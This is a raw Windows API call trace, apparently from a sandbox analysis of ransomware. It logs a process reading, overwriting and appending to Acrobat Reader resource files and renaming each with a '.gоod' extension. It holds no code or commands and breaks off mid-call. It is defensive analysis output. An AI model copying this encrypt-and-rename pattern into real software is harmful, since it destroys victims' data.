GetFileType (hFile=0x810) returned 0x1 [0155.685] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae20) returned 1 [0155.685] GetFileType (hFile=0x810) returned 0x1 [0155.685] WriteFile (in: hFile=0x810, lpBuffer=0x351b320*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x1fdeae98, lpOverlapped=0x0 | out: lpBuffer=0x351b320*, lpNumberOfBytesWritten=0x1fdeae98*=0x450, lpOverlapped=0x0) returned 1 [0155.686] CloseHandle (hObject=0x810) returned 1 [0155.686] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png", lpFilePart=0x0) returned 0x79 [0155.686] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png.gоod", lpFilePart=0x0) returned 0x7e [0155.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0155.727] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\dd_arrow_small.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5901b794, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x450)) returned 1 [0155.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0155.727] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\dd_arrow_small.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\dd_arrow_small.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\dd_arrow_small.png.gоod")) returned 1 [0155.728] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", lpFilePart=0x0) returned 0x72 [0155.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0155.728] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\favicon.ico"), fInfoLevelId=0x0, lpFileInformation=0x33206b8 | out: lpFileInformation=0x33206b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x209c)) returned 1 [0155.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0155.728] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", lpFilePart=0x0) returned 0x72 [0155.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0155.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\favicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0155.728] GetFileType (hFile=0x810) returned 0x1 [0155.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0155.728] GetFileType (hFile=0x810) returned 0x1 [0155.729] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0155.729] ReadFile (in: hFile=0x810, lpBuffer=0x3320b70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x3320b70*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0155.769] CloseHandle (hObject=0x810) returned 1 [0155.858] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", lpFilePart=0x0) returned 0x72 [0155.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0155.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\favicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0155.859] GetFileType (hFile=0x61c) returned 0x1 [0155.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0155.859] GetFileType (hFile=0x61c) returned 0x1 [0155.859] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x209c [0155.859] WriteFile (in: hFile=0x61c, lpBuffer=0x351af78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x351af78*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0155.861] CloseHandle (hObject=0x61c) returned 1 [0155.861] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", lpFilePart=0x0) returned 0x72 [0155.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0155.861] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\favicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0155.861] GetFileType (hFile=0x61c) returned 0x1 [0155.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0155.861] GetFileType (hFile=0x61c) returned 0x1 [0155.862] ReadFile (in: hFile=0x61c, lpBuffer=0x351d288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x351d288*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0155.953] CloseHandle (hObject=0x61c) returned 1 [0155.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", lpFilePart=0x0) returned 0x72 [0155.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0155.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\favicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0155.953] GetFileType (hFile=0x61c) returned 0x1 [0155.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0155.953] GetFileType (hFile=0x61c) returned 0x1 [0155.953] WriteFile (in: hFile=0x61c, lpBuffer=0x3325cf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3325cf8*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0155.953] CloseHandle (hObject=0x61c) returned 1 [0155.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico", lpFilePart=0x0) returned 0x72 [0155.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico.gоod", lpFilePart=0x0) returned 0x77 [0155.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0155.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\favicon.ico"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x592a3ce0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20ac)) returned 1 [0155.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0155.954] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\favicon.ico"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\favicon.ico.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\favicon.ico.gоod")) returned 1 [0155.954] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x78 [0155.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0155.954] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x339d5e8 | out: lpFileInformation=0x339d5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee754143, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185)) returned 1 [0155.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0155.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x78 [0155.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0155.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0155.955] GetFileType (hFile=0x61c) returned 0x1 [0155.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0156.102] GetFileType (hFile=0x61c) returned 0x1 [0156.284] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0156.284] ReadFile (in: hFile=0x61c, lpBuffer=0x34dbe98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x34dbe98*, lpNumberOfBytesRead=0x1fdeb028*=0x185, lpOverlapped=0x0) returned 1 [0156.285] CloseHandle (hObject=0x61c) returned 1 [0156.285] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x78 [0156.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0156.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0156.286] GetFileType (hFile=0x61c) returned 0x1 [0156.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0156.286] GetFileType (hFile=0x61c) returned 0x1 [0156.286] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1185 [0156.286] WriteFile (in: hFile=0x61c, lpBuffer=0x34dd1a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeaf48, lpOverlapped=0x0 | out: lpBuffer=0x34dd1a0*, lpNumberOfBytesWritten=0x1fdeaf48*=0x10, lpOverlapped=0x0) returned 1 [0156.286] CloseHandle (hObject=0x61c) returned 1 [0156.286] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x78 [0156.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0156.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0156.286] GetFileType (hFile=0x61c) returned 0x1 [0156.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0156.286] GetFileType (hFile=0x61c) returned 0x1 [0156.287] ReadFile (in: hFile=0x61c, lpBuffer=0x34df4d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeafd8, lpOverlapped=0x0 | out: lpBuffer=0x34df4d0*, lpNumberOfBytesRead=0x1fdeafd8*=0x1000, lpOverlapped=0x0) returned 1 [0156.421] CloseHandle (hObject=0x61c) returned 1 [0156.421] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x78 [0156.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0156.421] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0156.421] GetFileType (hFile=0x61c) returned 0x1 [0156.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0156.421] GetFileType (hFile=0x61c) returned 0x1 [0156.421] WriteFile (in: hFile=0x61c, lpBuffer=0x3347ec8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdeb088, lpOverlapped=0x0 | out: lpBuffer=0x3347ec8*, lpNumberOfBytesWritten=0x1fdeb088*=0x1010, lpOverlapped=0x0) returned 1 [0156.421] CloseHandle (hObject=0x61c) returned 1 [0156.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x78 [0156.422] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png.gоod", lpFilePart=0x0) returned 0x7d [0156.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeafc0) returned 1 [0156.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdeb0a0 | out: lpFileInformation=0x1fdeb0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee754143, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee754143, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x5971c445, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1195)) returned 1 [0156.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeaf80) returned 1 [0156.422] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations.png.gоod")) returned 1 [0156.423] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdeab30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x7f [0156.423] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb000) returned 1 [0156.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x337b880 | out: lpFileInformation=0x337b880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee72deb0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee72deb0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee72deb0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2890)) returned 1 [0156.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeafc0) returned 1 [0156.890] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x7f [0156.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0156.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0156.893] GetFileType (hFile=0x61c) returned 0x1 [0156.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeae70) returned 1 [0156.893] GetFileType (hFile=0x61c) returned 0x1 [0156.893] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeb058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeb058*=0) returned 0x1000 [0156.893] ReadFile (in: hFile=0x61c, lpBuffer=0x34fa8e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeb028, lpOverlapped=0x0 | out: lpBuffer=0x34fa8e0*, lpNumberOfBytesRead=0x1fdeb028*=0x1000, lpOverlapped=0x0) returned 1 [0156.895] CloseHandle (hObject=0x61c) returned 1 [0156.895] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x7f [0156.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeaf00) returned 1 [0156.895] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 